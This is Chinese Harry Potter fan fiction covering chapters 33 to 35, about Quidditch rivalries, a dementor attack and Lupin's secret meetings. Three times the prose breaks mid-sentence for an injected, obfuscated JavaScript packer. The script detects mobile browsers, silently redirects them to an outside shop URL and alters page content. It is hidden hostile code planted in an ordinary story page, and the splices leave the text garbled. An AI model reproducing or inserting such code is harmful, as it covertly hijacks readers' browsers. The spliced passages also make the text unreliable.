他当然不会把弗林特说的这种话告诉给塞德里克听,但他这一个月都在为了第一场能够打赢斯莱特林做准备,赫奇帕奇的风格和他们完全不同,或者说塞德里克的水准和那个趾高气昂的金发小子根本就不在一个层面,这场比赛要稳操胜券,简直是异想天开。 莉兹肯定也不会从伍德那里知晓这个消息,塞德里克和她提到的时候还说周五一整天都伍德都在避开他,真不知道又在紧张什么。平日里总是一副天塌下来用手撑着就好的完美先生对赛程的变动可是一点不担心,今年当上了队长的他甚至比以前看着还要游刃有余一些。 也许完美先生确实是一种人神共愤的存在,毕竟平日里天塌下来只要有人撑着就无所谓的莉兹在听他说完之后就歪过头冷着脸回道:“不要紧,格兰芬多可以输,只要我们下一场赢过你们,他们再打赢斯莱特林,一切就回到原点了。”说罢她的脸上出现了一点笑容,只不过并不带着好意。 时间回到这一刻,霍琦夫人的哨声在风雨中依然模糊难辨,列成两队的飞天扫帚同时飞向天空,莉兹庆幸自己有提前提醒格兰芬多的大家一定要给斗篷施防风防雨的咒语。 而在这样的天气里,发生什么都不稀奇。谁都不知道天空中最后一丝亮光是什么时候被蚕食殆尽的,只见到成百只摄魂怪带着刺骨的寒意降临魁地奇球场,莉兹听见了身旁有学生发出了尖叫声。 “黑狗!是凶兆!” 她试图顺着那个方向看过去,但眼前只有数不尽的摄魂怪。 *易容马格斯(Metamorphmagus)天生可以随意变换自己外貌。设定塞西尔的能力遗传自母亲,但是不如原作的唐克斯那般能力强大,只能简单改变容貌,不能改变自己的身体,她发现这个能力的时候在三年级,常常利用这个偷跑去禁林,所以没有进行登记,长大后便正好利用它在地下市场打听消息。 33. 运气之神 整个魁地奇球场乱成了一团,坐在西侧看台的赫奇帕奇的学生们甚至收起了刚刚还在风雨中挥舞着的学院旗帜,尽管塞德里克抓住了金色飞贼为他们带来了一场胜利,却根本没有人有庆祝的心思。那仿佛就是一瞬间的事情,从高空坠落的身影还有刺眼的银色光芒,所有人几乎不敢睁开眼去看球场,生怕看见的是悲惨又令人不忍的画面。 过了一会儿,前排有学生大声叫了出来:“邓布利多校长!校长接住了哈利!” “他是不是昏倒了,正躺在担架上。” “天呐,这可太吓人了,他没有出事吧?” 讨论的声音似乎盖过了暴雨落地的声响,麦格教授一边维持着秩序,一边在广播里通知大家按照看台从低到高的顺序离开魁地奇球场。 此时仍有零星几只摄魂怪回到了场地周围,它们盘旋着、转着圈,呼吸到的空气像是凝固了似的冰冷。莉兹露出不适的神情,虽然她站在最靠近格兰芬多球队的位置上,也并不清楚究竟发生了什么,况且她的注意力从刚刚开始就全在身旁瑟瑟发抖着的帕德玛身上,这个平时性格文静的姑娘很少会这样的激动,只见她抬手指向另一边空看台的顶端,不断重复着“不祥”和“凶兆”这样的词语。 “你看到了什么?”那些摄魂怪遮挡住了人的视线,莉兹试图看清在雨雾之后的东西,可好像什么也没有。 “我对梅林发誓,刚刚就在那里,那里有一条黑色的狗!”帕德玛喊道,“就和特里劳妮教授在课上说的一样,那是哈利的不祥,死亡的凶兆!” 从一年级起就对占卜课毫无兴趣的莉兹只去试听过一节特里劳妮教授的课,不明所以的课程内容以及偏僻的教室都成了她退选的理由。再加上她向来是对毫无逻辑的命运说嗤之以鼻的,只不过看到眼前的帕德玛如此慌张,她也不好说些什么,只能扶着她慢慢走回城堡。 过了一会儿,莉兹好不容易把这个姑娘哄着在床上躺下休息了,正好秋和玛丽埃塔一起到了寝室。她们看起来也挺狼狈的,不仅从头到脚都被淋湿了,脸色更是不太好。不知是不是和其他人一样,被球场上的事情吓到了。 “你说塞德里克怎么会想要重赛呢,明明赢了比赛,他也太傻了。”玛丽埃塔一边脱去了湿漉漉的外套一边说着,“但是伍德没有答应也很奇怪呀,那可是奥利弗·伍德!” 果然担心谁都没必要担心这位聒噪又多话的室友,莉兹没搭理对方的抱怨,只是一挥魔杖把地上的水渍清理干净,然后拍了拍秋的肩膀和她小声叮嘱了一下帕德玛的情况,接着说:“我想她应该会需要安神药水,我去一趟校医院。” 走出公共休息室,她才开始思索玛丽埃塔提到的事情,塞德里克可能纯粹是出于想要公平竞赛的念头,哪怕比赛判决本身已经是公平的了,选手出意外的事情是不可抗力,又不是故意为之,只是不知道这在那个木头脑袋听来会是什么意思。 一个人晃悠到楼梯的拐角,莉兹听见了隐约的争论声,她对两个人的声线都再熟悉不过了,不自觉在心里嘀咕道:“真的是惦记什么就会碰见什么。” 手扶墙根她探出脑袋,那俩人连队服都没空先换下,伍德湿透了的短发变成一簇一簇的形状,每一簇甚至顶着一颗水珠,有点滑稽。可是不善言辞的家伙和朋友吵架时最容易哑火了,讨论魁地奇时还能说得头头是道,怎么到了这种时候他就只会说这几句话呀。 “我都说没关系了。”伍德皱着眉头看向一边。 “我只是说了一句我们可以重赛,你怎么好像我说了什么难听的话似的。”塞德里克两手叉起腰看着对面的他,难得瞪圆了那双寻常时候靠着一个眼神就能让女生们笑出声来的眼睛。 “你们赢得应当,没有必要。”伍德的表情根本不像是接受了败局的样子。 “无论是不是有必要,霍琦夫人说了这符合重赛要求,是你自己没同意,结果你现在跟我生闷气?”塞德里克真想拿个镜子给伍德看看,他那脸色究竟有多难看。 “没错,我非常在乎学院杯,”伍德深呼吸了一下,挺直了腰板,“但我也不是个傻子。” “梅林啊,你以为我在让你?”塞德里克仿佛听到了什么荒唐话一样,无可奈何摇了摇头。 “我没有。”伍德再次移开目光,接着视线不小心和偷听的人对上了,烦躁的心情在这个瞬间被放大到了一百倍,他情愿这时候路过的人是斯内普教授,给他们抛下一个冷漠的眼神就会当作没看见一样走开。 塞德里克也很快注意到躲在拐角的人,于是他放弃了毫无意义的对话,径直朝着这里走来,并且经过时还在莉兹耳边扔了一句略带怒意的“他疯了”,随即加快步伐消失在了走廊尽头。 仍然沉浸在百年难得一见的好友吵架剧情之中的莉兹不慌不忙地现了身,不过她可不是个做和事佬的料,她对自己的脾性自然也很清楚,这时候要是耐不住说些什么,最终的结果只能是火上浇油。尽管如此,她却还是迈着缓慢的步子向站在原地的伍德走过去。 错过了转身离开的机会,伍德也只好等着莉兹开口,因为他觉得不会再有什么能刺激到他了,不管是比赛输给赫奇帕奇,还是哈利那被打人柳毁得七零八碎的光轮2000,结果下一秒女生竟抬起手,十分果断地弹了一下他的额头。而在要被打第二下时,出于守门员的本能,他反应迅速地握住了她的手,一到这个季节总是怕冷的人,手果然是冰凉凉的。 原本应该立即就松开的,见莉兹没有将手收回,伍德稍稍松了点力气,宽大的手掌很轻松地便包裹着了她的手,他那些自己混乱的思绪大约连着手心的温度都一起传达给她了。 莉兹抬头看着他,银色的眼眸里全是伍德的脸,语调平稳地开口道:“为了这点事情值得吵架吗?” “我们没吵架。”伍德又是下意识否认。 “你就是在生气,你们就是在吵架,有什么不好意思承认的,”莉兹的视线一动不动,锁定着伍德的眼睛,手上还捏了捏,“你看着我。” 耳朵越来越红的伍德努力低头与她对视。 “如果今天的比赛是塞德里克被摄魂怪袭击,你是不是也会提出重赛?”她反问他。 他点了点头。 “那你为什么会认为他是在让你,这对他不太公平吧,最公正的伍德队长。”最不愿意当和事佬的人,居然现在在这里劝起了这个木头脑袋,莉兹有时候也会怀疑自己是不是被人施了夺魂咒。 伍德又点了点头,整个人变成了只会应声的闷葫芦。 “说话呀。”莉兹抬脚轻轻去碰他的靴子。 “我也不知道自己怎么了,”嘴硬的伍德最终还是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487821|202107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 像泄了气一样,“我明知道塞德说得都是对的,明知道比分没有问题,明知道这一切都不是故意发生的,但就是……” 他顿了一下,视线落在地上,落在两个人相碰的脚尖:“非常恼火。”做对了每一件事却没有得到应得的结果,伍德只想大喊自己受够了。 “奥利弗,”听完他的话莉兹轻笑了一声,“我们去找运气之神借点运气?” “运气之神?”伍德疑惑地问。 她先是收回了手,然后从口袋里摸出一个金加隆,解释说:“我说一定是正面,你信不信?”说着她将硬币抛到半空中又伸手接住。 五指张开时,伍德看到她手心那枚加隆果然是正面向上的,后来莉兹又抛了三次,结果全是一样的。这种不依靠魔法就能做到的事情,让他十分吃惊。 “手给我,”她抓过他的手,将金加隆放在了他手中,“全都借给你。”说罢,莉兹便背过身摆了摆手,朝校医院走去。 伍德盯着手心的硬币,那上面似乎还留着她的体温,反过来看了一眼,突然发现原来两面都是正面图案,他直接笑出了声来,原来那个总是站在高处俯瞰所有人的聪明莉兹也会做这么有趣的事情,他觉得她离自己好像越来越近了,烦躁的心情就这样被一扫而空了,他直接笑出了声来,决定先去找好朋友道个歉。 在第一场格兰芬多对赫奇帕奇结束后,原本下一周就应该是拉文克劳对赫奇帕奇,但是邓布利多和魔法部就摄魂怪是不是应该进入学校内部这件事没有达成共识,为了学生的安全,他将比赛推迟了两个礼拜。 以防再出现类似的事情,邓布利多同时跟弗立维提出了希望能给球场上空多加一层防护咒的想法。听起来倒不是什么难事,只是弗立维对飞行实在不算擅长,权衡了利弊之后,他找来了帕特里克和莉兹两个人,他们都是拉文克劳的学生中难得能使用高级咒语的学生,而且还是魁地奇球队的主力成员,若是让他们帮忙,应该会有事半功倍的效果。 只是因为施咒的过程不能被其他学生们看到,所以莉兹被迫在周六清晨不到五点的时候悄悄离开了寝室,一直视早起为天敌的她骑着飞天扫帚上天时还半梦不醒的,帕特里克不得不在一旁提醒她集中注意力,可她一点反应也没有,一直半睁着眼睛垂着脑袋。 弗立维教授在地面上指挥着他们,一个人到球场最北边,一个人到最南边,两个人要同时开始念咒。随着咒语的使用,半空中开始逐渐出现白色细纱一般的雾气,一点一点笼罩住整个球场,莉兹也在冷风中慢慢清醒过来,在视线扫过看台最高处时,她记起了帕德玛那段如同梦魇的话语,心里想着,可是摄魂怪真的会无缘无故就靠近学生吗,难道不会是他们注意到了什么吗? 还有,布莱克真的离开霍格沃茨了吗? 同一时间,在上次深夜的会面后莱姆斯·卢平终于第一次收到了塞西尔的来信,信件的内容非常简洁。 莱姆斯 我想真正的狗应该不会追杀老鼠,他是不是在找什么? 周日晚九点猪头酒吧见。 塞西尔 手里的信纸在阅读完的瞬间自己燃烧了起来,最后在地上变成了一堆焦黑,卢平把落在衣服上的灰掸掉,站在窗口看到了肆意地空中骑着扫帚飞行的莉兹,脑海里不禁开始回忆十几岁的时光。 34. 每个人的那些日常 周日晚的猪头酒吧依然冷清,若是三把扫帚或者是破釜酒吧,在如此黄金时刻总是人头攒动,上餐的托盘在店里飞来飞去,好不热闹。莱姆斯·卢平比约定时间到的早一会儿,他那一身打着补丁的袍子在陈旧又布满灰尘的装潢衬托下,倒显得不那么突出了。店里除了他,就只剩下角落里还坐着三个戴着面纱的女巫,她们没有开口说话,只是围着一颗水晶球比划来比划去的。 “要点什么?”一个留着灰白胡子的高瘦老头敲了敲吧台。 “姜汁汽水。”卢平心不在焉摸出一把纳特,叮铃哐啷掉了一桌,老头看着这情景五官皱起,仿佛要把整个鼻子都挤出来似的,他摇了摇头数着桌上的硬币。 此时正好酒吧门被推开,来人顶着一头脏乱的长卷发几乎遮住整张脸,只有藏在发丝后的那双眼睛暴露了身份,仅仅是抬眼的一瞬,卢平便认出了她。 刚一坐下,塞西尔便从长袍袖子里摸出便携的酒壶,用手轻轻一推,酒壶就到了老头手边,她开口道:“可别再加水糊弄我了,阿不福思。”变化过的声音听起来比往常尖细不少,像是捏着嗓子说话一般。 省去了寒暄的环节,塞西尔一拿到装满了威士忌的酒壶,先是拧开喝了一口,然后就开始说自己从禁林里各处听说的消息。 而卢平摸了一下装姜汁汽水的玻璃瓶,未开封的瓶盖上黑乎乎的,瓶身上也黏糊糊的,他实在不愿去想这东西在后厨放了有多久,只好是不动声色推到一旁,把手在裤腿上蹭了蹭,接着专心地听着塞西尔讲话。 “也就是说,你认为他在找人,但是找的不是那个孩子。”他若有所思。 “你想想那孩子根本就不用找,在学校里他们随时都可以碰面,”酒吧人少又安静,他们只能压低了声音聊天,说到这里时塞西尔突然托腮凑到他耳边,“我反而很奇怪他这么久都没特地和你见一面。” 卢平被她的卷发扫了一脸,痒得打了个喷嚏,接着点头应声:“我也奇怪。” “所以,抓老鼠这件事你有什么头绪,难道这是在牢里这么多年的新乐趣?”塞西尔嘲弄地轻笑了一声,惹得卢平给了她一个不太友好的眼神,然后开始沉默。 思忖了一会儿之后,他说道:“我有一个很疯狂的想法,不过需要再确认一下,之后再写信给你。” “先给我听听是不是真的疯狂,”塞西尔搭上他的肩膀又是被他一下拍开,只好是两手举起表态再也不动手动脚了,接着勾了勾手指让他弯腰靠近,小声地说,“给我一个提示,在你确认完之前我绝不插手。” 卢平叹了一口气回道:“如果你禁林里那些好朋友还记得的话,当年捣乱的家伙们是一个狼人、一头鹿、一条狗还有一只老鼠。” 听完这句话,塞西尔点了点头,忘性很大的她没忍住,抬手拍了拍卢平的后背,换回了她原先的嗓音说着:“行了,你回霍格沃茨吧。” 又一次体会到自己就是和面前这个女人合不来,卢平无可奈何按了一下左边的太阳穴起身离开座位,拉开店门时还回头看了一眼,大半张脸被遮住的女人摇晃着手里的酒壶,和看似并不好相处的酒吧老板就这么聊上了天。 后来过了好长一段时间,他们都没有在联系彼此,实际上在这之前,如果不是邓布利多的指令,这两个人根本就不会主动和对方有交集。 何况塞西尔也腾不出空去理会卢平的确认工作做得如何,周末过去的工作日第一天,她刚到办公室就被卷进了巴克比克伤人案的开庭事宜中,危险动物委员会执意要传唤饲养员出面接受质询,至于提起告诉的卢修斯·马尔福更是对先前董事会的决议有所不满,认为仅仅是将巴克比克拴住隔离是不足够的,他主张霍格沃茨必须开除这位素养不够的职员以及处理那头野兽。这一切很明显是在给邓布利多脸色看,康奈利·福吉自然十分配合。 “那家伙到底有多不喜欢邓布利多?”这天晚上塞西尔被迫加班整理报告,试图为海格寻找到更多有利证据,翻到厌烦时,她将手里的文件一下子推倒,向后仰倒在椅背上自言自语抱怨说。 “整个楼层就剩下你的声音了。”金斯莱手拿一封盖过章戳的保证书与联合签名书一边说着一边带上没关好的办公室门,“这些给你,我想对你手上的案子有用处。” 直起身伸手接过东西,塞西尔翻了翻抬头问道:“这不应该是提交到委员会的吗?” “要是给委员会的话,你刚说的‘那家伙’肯定会直接烧掉。”金斯莱比了一个引号的动作,接着解释说,“邓布利多交到了法律执行司,今天博恩斯让我拿过来给你,上庭前作证据补充就行了。” “你们上司果然是整个魔法部最有头脑的女人。”塞西尔点着头竖起了大拇指,“非常有型,请告诉她我喜欢她。” “我会帮你传达的,”玩笑话逗笑了金斯莱,却不小心踩到了什么,他低头看着地上堆满的文件袋,小心翼翼地避开走到能落脚的地方,感叹道:“我真是好奇你们部门怎么总是有这么多资料?” 这个问题似乎戳中了塞西尔的什么软肋似的,她深吸一口气开始滔滔不绝地说了起来:“你刚刚踩到的这堆是上个月在白鹿巷球场抓到地精之后要写给麻瓜政府的报告。难以置信吧,麻瓜们正在踢比赛,场上竟然钻出了几个地精。看台上坐着上千人,球场里还有几十个人,更可怕的是还有电视转播。哦,我想你应该听说过那玩意儿,场内录制的影相在麻瓜们在家里就能实时看到。幸好那天的比赛是区域直播,我向梅林发誓,我从没连续使用过这么多次遗忘咒。” “你现在左脚边这堆罗马尼亚跟我们谈判要引渡两个伤人吸血鬼的报告,我从阿尔巴尼亚把他们抓回来都一年了,连个身份都查不到,现在罗马尼亚官方说这是什么公爵的后代要求我们必须善待,否则就向国际神奇动物保护协会投诉英国魔法部。” “至于桌上的这些全是海格这个案子的……”塞西尔总算是停了下来,她看了金斯莱一眼,“我想你应该都没什么兴趣吧。” “不会,地精那件听着很有意思。”金斯莱摆了摆手,“我把东西送到了,接下来的还是靠你了。” “走吧走吧,都下班吧。”塞西尔摇着头,表情是疲惫夹杂着无奈,下一秒趴倒在办公桌上,她还是决定先睡一觉。 至于霍格沃茨在上一次惊险十分的魁地奇比赛结束后,也幸运地迎来了短暂的平静,指既没有关于布莱克又出没的新闻,学生之间也没有任何值得说道的趣事传播,每一日都是那样的宁和而无聊。 只是以往对魁地奇比赛的结果并不十分在意的莉兹·奥利凡德一反常态,不仅按时参加了每一次队内训练,更是为周末的比赛提供了超过十种应对方案。她将每一个方案里最关键的注意点都和队友们讲了一遍,除了嘴上说着“真喜欢作秀”的戴维斯之外,所有人都在认同安排的同时表达了对莉兹这一举动的惊讶。尤其是秋·张,她好像从来都没有见过势在必得一定要达成什么目标的莉兹,毕竟她看起来总是轻而易举就顺手做成了什么事情。 “呵,谁知道是不是为了她男朋友要跟赫奇帕奇复仇呢,”戴维斯在一旁冷嘲热讽,“秋你可要小心,她一门心思对付迪戈里,回宿舍说不定还要欺负你。” 见到拿着飞天扫帚向这里走近的人,戴维斯立马闭了嘴让开几步,并没有被影响到的秋给他抛去了一个很不满的眼神,连好脾气的帕特里克都不愿做好人说些什么,只等 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487822|202107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着莉兹开口。 谁料她只说了一句:“如果你觉得赢比赛这件事这么不值一提,周六请你不要出现在球场。” “你说什么?”戴维斯昂起下巴,瞪大了眼睛看着她。 “我可以再说一遍,”莉兹紧握着扫帚柄,“如果你不想赢,就不要来打球。” “好了,”帕特里克找准了机会站在了俩人之间,不过话里很明显是有偏向的,“每一次比赛前的方案都是我们所有人一起讨论后决定的,罗杰你有更好的想法应该说出来。”意思是,戴维斯一早就该说自己不同意并且提出更好的主意,否则安排是什么,那就怎么打球。 “你是队长你最大,你说什么都对呗。”戴维斯阴阳怪气给自己找了个台阶。 接着训练便重新开始了,莉兹学着塞德里克飞行的习惯同秋在半空中演练着躲避与争抢的动作,场边看台底下,两位高个子正猫着腰躲在一起偷看。身材更壮的伍德多次试图捂上塞德里克的眼睛,强调这是一种赛前礼仪,他作为对手球队的队长不应该过来参观训练。 “可那是我的女朋友,”塞德里克奋力挣脱开,手指了指扫帚上长发飘飘、身姿灵活的秋,“我只是一个有私心的普通学生。” 被一句“女朋友”刺激到,伍德看着表情认真的莉兹竟一时不知道怎么再反驳他,明知道这个人的话里有一半是在和他开玩笑。 “是真的,”塞德里克掏出背包里两卷羊皮纸,“我是真的在等她一会儿去图书馆,这全是斯内普布置的作业。”说到这里他又笑出来,揽过伍德的肩膀一起看向空中,“那我们奥利弗是来这里做什么呢,考察下下场的对手?” “走走走,我陪你去写作业。”伍德直接拒绝回答问题,强行拉着塞德里克离开了球场,他这两手的力道像一头成年公牛似的,塞德里克这下还想挣脱,只能以失败告终,他真是后悔刚刚非要调侃木头先生,多余的话给自己惹了麻烦。然而看着这位好朋友满脸通红的模样,他又在想自己是不是应该再多说几句话。 结局却是周六的比赛,一向就有以难缠著称的拉文克劳球队,风格甚至更加凶狠了一些,不仅瞬间破除了赫奇帕奇完备的防守,还创造出数个攻击的绝妙时机把对手胜利的期望彻底浇灭。 不会轻易放弃的塞德里克指挥着队友奋力追分,局面才没有迅速失衡。他自己也不敢懈怠半秒钟,只是在空中与莉兹对峙的那一刻,他终于第一次知道了伍德曾说过和她比赛会比任何时候都紧张究竟是什么意思,以前还一直以为这是伍德自己的问题。 因为塞德里克盯着那双银白色眼睛,仿佛听到了莉兹在说一句话,那就是:“我看透了你要走的每一步。” 接下来直到圣诞假期开始前的每一周都有比赛,斯莱特林需要打三场,其他三个学院则是还有两场,但倒霉的是由于哈利原本使用的光轮2001已经彻底报废,他只能使用队里唯一一把备用扫帚,速度和灵敏程度大大下降,尽管格兰芬多没有因此两场连败,但领先的积分都不足填平原先的差距,格兰芬多的排名迟迟上不去。* 考虑到这一点,每场比赛结束后莉兹都会算一次积分来判断需要如何打下一场,主要目的就是把斯莱特林的积分降低。其实她也说不出什么很有道理的原因,她只是在脑子里这样想,既然伍德唯一的愿望就是堂堂正正拿下学院杯,那用这种方式送他们上决赛并不算狡猾。 *关于校内的魁地奇比赛规则是我自己编造的,所以已经有些脱离原著了,主要是原作的比赛次数比较少,我为了增加比赛的回数,就改成了每个学院之间都必须比一场来累计积分,并且得分数有意义。不过我没有编造得很严谨,肯定有bug所以看个乐呵就行。 35. 从未知晓的故事 一切正如莉兹所预料的那样,圣诞假期之前的最后一场比赛结束后,目前格兰芬多与拉文克劳积分相同排在第二位,微微落后斯莱特林不足四十分。原本应当是头两名学院参加的决赛会变成三个学院间的循环赛,这等于是给伍德吃了一颗强效定心丸,度过了两个月的惴惴不安,总算是有了好结果。 离校前的那个周六又是去霍格莫德村的日子,伍德准备带着哈利正在用的那把备用扫帚去一趟德维斯和班斯商店,希望有办法让这个老家伙再升级一下速度。刚一进店就听着老板在和一个熟客聊天说保加利亚队提前预定了一批火弩箭用来备战明年的世界杯,实在是阔气得很,而英格兰队还没整体淘汰上一季的光轮系列,真不知主教练是怎么考虑的。 “火弩箭的速度并不适用于每个位置的选手,”伍德不自觉就加入了关于魁地奇的话题,并作为主教练忠实球迷发表了重要讲话,“米歇尔的训练方针更重视每个人与扫帚的适配度。” “有钱的话什么都好说,”女孩的声音从货架后传来,她抓着一瓶护理油探出头来,“英格兰魁协收入赤字又不是空穴来风。” 伍德再次因为这一偶遇而一时说不出话,只见仍然戴着那顶他借给她的毛线帽,齐肩的卷发毛茸茸的遮住了脸,她抬头时露出两双眼睛,圆滚滚的。 “真是没有新意,又在这里碰见你。”莉兹走过来看了一眼他拿在手里的扫帚,“你还是劝波特趁假期订一把新的吧,校队这用了几十年的旧东西还能飞起来就很不错了。” “这又不是一支羽毛笔,哪有那么容易?”伍德把扫帚拿到身后去,给她让出位置。 莉兹走过他身前把护理油放在结账台上,一边放下硬币一边说着谢谢,接着回过身问:“你还有什么要买的吗?” “现在没了。”伍德耸了耸肩,主动伸手推开了店门。 昨夜里刚停的雪到了午后又下了起来,似乎自从摄魂怪来了之后,这附近的天气就没放过晴。莉兹和伍德肩并肩踩着积雪朝着霍格沃茨的方向走着,石板铺的道路坑坑洼洼还很湿滑,一脚踩下去不知深浅,他们前面的好几个学生已经摔成了一列,把路旁唱诗班的孩子们都吓了一跳。伍德试探性先用手肘轻轻碰了碰莉兹,然后伸长了手臂假装比划了两下,他在想是应该让她挽住自己的胳膊,还是应该自己揽过她的肩膀。毕竟她看起来个头小小的,若是刮起大风的话,一定会第一个被吹跑的。 只不过他的犹犹豫豫赶得不凑巧,这会儿却是来了阵奇怪的风直接从他们之间不算宽敞的距离穿了过去,像是被狠狠撞了一下似的,莉兹果然没站稳,向一边踉跄了几步。她看到有脚印不断向前延伸,却因为光顾着看这个所以忘记了保持平衡,自然就没有注意到一旁伍德跨了一步过来要拉住她的手。 下一秒她便以一个非常滑稽的姿势侧滑躺倒在地上,难为情的想法还没来得及出现在脑海里,身后便传来了很是不友好的笑声,以弗林特为首的几个斯莱特林魁地奇球队的成员正聚在一起嘲讽她的狼狈,先是弗林特冷哼了两声说:“太精彩了,能在扫帚上翻跟斗的米歇尔二代走不了平地。” 接着便是队友附和道:“喔唷喔唷,木头队长快快来,米歇尔二代摔倒了!” 在她刚要伸出手时,他们又继续喊了下去:“队长队长手拉手,罗曼蒂克到永久!” 这样的情况下陪着这群幼稚的家伙们赌气从来不是莉兹的风格,倒是伍德看起来更是恼火。上次比赛虽说险胜,但斯莱特林的几次罚球都很有争议,他们之间本就闹得很不愉快,这会儿又迎面送上了如此挑衅,若不是良好的家庭教育压制住了奥利弗·伍德,他攥紧的拳头现在就该落在弗林特的脸上。 “奥利弗。”莉兹开口叫了他的名字,伍德一瞬间收敛起被点燃的脾气,在她的眼神示意下再次向她伸出手。丝毫不在意那些调侃话语的她非常坦然地借力站起身。在原地低头检查了一下,脚踝没有扭到,只有外面的巫师袍被弄湿了。她甚至懒得转身给那群斯莱特林们一个不满的眼神,只是扯了两下伍德的袖子,便迈开步子向前走。 “喔唷喔唷——” 起哄声又响起,惹得过路人都不禁多看几眼,而下一秒他们的嘴巴竟像是被缝上了似的在也张不开,谁也没看到施咒的人究竟是谁,弗林特瞪大了双眼无法怒吼出声,几个人惊恐地面面相觑不知发生了什么。周围那些准备看热闹的学生们见此情景都匆匆从他们身旁走过,一脸不愿多惹事的模样。 等到唯一一个愿意动动脑子的人想起了这时候应该用什么方式解咒时,莉兹和伍德已经消失在道路尽头了。 一个人使用咒语的熟练程度得到什么地步,才能做到不注视着施咒对象就能成功,伍德忍不住惊奇地看向身旁的人,他是真的没看到她是什么时候掏出的魔杖,一切仿佛就发生在毫秒之间。只知道他不过是回头看了一下,一开始轻轻扯着自己袖子的莉兹突然就拉住了自己的手,一边低声说着快跑,一边露出了笑容。 两个人牵着手穿过城堡长长的走廊,停在了楼梯前,莉兹终于笑出了声,她两手捂着肚子笑到直不起腰来,以至于伍德一时间不知如何是好。平时别说笑了,普普通通的微笑表情都很少在她的脸上见到,感觉只有冷着脸轻轻挑眉,接着说出一些无法反驳的话的人,才是他认识的莉兹·奥利凡德。然而这一刻女孩实在是笑得夸张又坦率,眼睛变得水汪汪的,毛线帽上的毛球跟着她一起晃来晃去,那灵动的模样让他看呆了。 “梅林我没看错吧,那个笑成一团的傻姑娘是小古板女士?”抱着一大包笑话商店道具的弗雷德迟疑地放慢了脚步,“啊——还有傻站着的木头。” “这可真稀奇,奥利弗说笑话难道比我们俩厉害吗?”乔治把背包向上提了提,里面装着的礼物盒子掉落到最底部,发出了碰撞声,也吸引了楼梯口两个人的注意。 最先转过身的是伍德,他抬手和兄弟俩打招呼,莉兹也逐渐平静下来,同时问了声好。 很显然乔治没什么搭理队长的热情,但似乎也觉得这不是个和小古板女士搭话的好时候,于是揽过了好奇想要问究竟发生了什么事情这么好笑的弗雷德,快步跑上了台阶。 “我们不是应该把圣诞礼物给她的吗?”尚未理清眼前的情况,弗雷德疑惑地问乔治。 “延展咒失误,东西掉进背包最底下了。”乔治答非所问的。 弗雷德一脸“你平时可没这么蠢”的表情,举起魔杖对着背包口袋念道:“礼物盒飞来。”眨眼间,他的手上便多了一个有点重量的纸盒子。 乔治不愿多说话,继续埋头往格兰芬多公共休息室走,他说出口令的同时身旁的弗雷德凑在他耳边小声说:“你说他们俩是不是真的在……”可惜一句话未完胖夫人就打开了大门,乔治走进门内迅速地带上了门,后面的弗雷德差一点蹭伤了鼻子。 当他为双胞胎兄弟不明所以的脾气苦恼的时候,伍德也走到了画像前,弗雷德看向队长,眉头皱起,撇了撇嘴,一个猜想在他的脑海里出现,紧跟着又在他的脑海里被确认。 难怪之前在活点地图上看到他们的名字总是一起出现在魁地奇办公室会让乔治的心情变得很糟糕,还以为是因为和他一样觉得又要魁地奇早训所以很烦恼呢。思索到这里弗雷德挠了挠头,自言自语道:“原来是这样啊。” 今年圣诞节留校的学生比往年还要少,毕竟谁愿意跟盘旋在校外的那些摄魂怪共度合家欢的节日呢,好不容易躲过去年在摩德纳的奥利凡德家族聚餐,莉兹今年还是得跟着米歇尔回一趟康沃尔郡。 实际上自打她有印象起,她好像从来就没见过妈妈回过在康沃尔的老宅,也很少听妈妈提起在那个宅子里的事情,只知道小时候见过不苟言笑又严厉的妈妈看着挂坠里的照片一言不发,眼眶湿润。再加上米歇尔结婚早,在她成为普德米尔首屈一指的明星球员时,她的名字就已经是米歇尔·奥利凡德了,估计如今只有足够资深的魁地奇球迷才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487823|202107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能说出她的旧姓。 老宅建在一座四面环海的岛上,离麻瓜的小渔村不算远,但因为咒语的保护所以很难被渔船发现,若是有麻瓜误入了岛屿,看见的也只是一座破败的修道院。住在这里的洛夫古德夫妇死于第一次巫师战争,那时伏地魔带领着一大批纯血主义者几乎侵占了英国境内所有巫师社区,他们不仅自愿捐出住所作为安全屋提供给参战的年轻人们,还主动承担起保护附近麻瓜的责任。谁料有一天深夜里战火烧上了孤岛,两位不擅长应对黑魔法的好心人为了转移伤员,互相支持着在入海口牵制住食死徒,一直到所有人都安全离开,他们也不幸在无法熄灭的火焰魔咒中丧生。 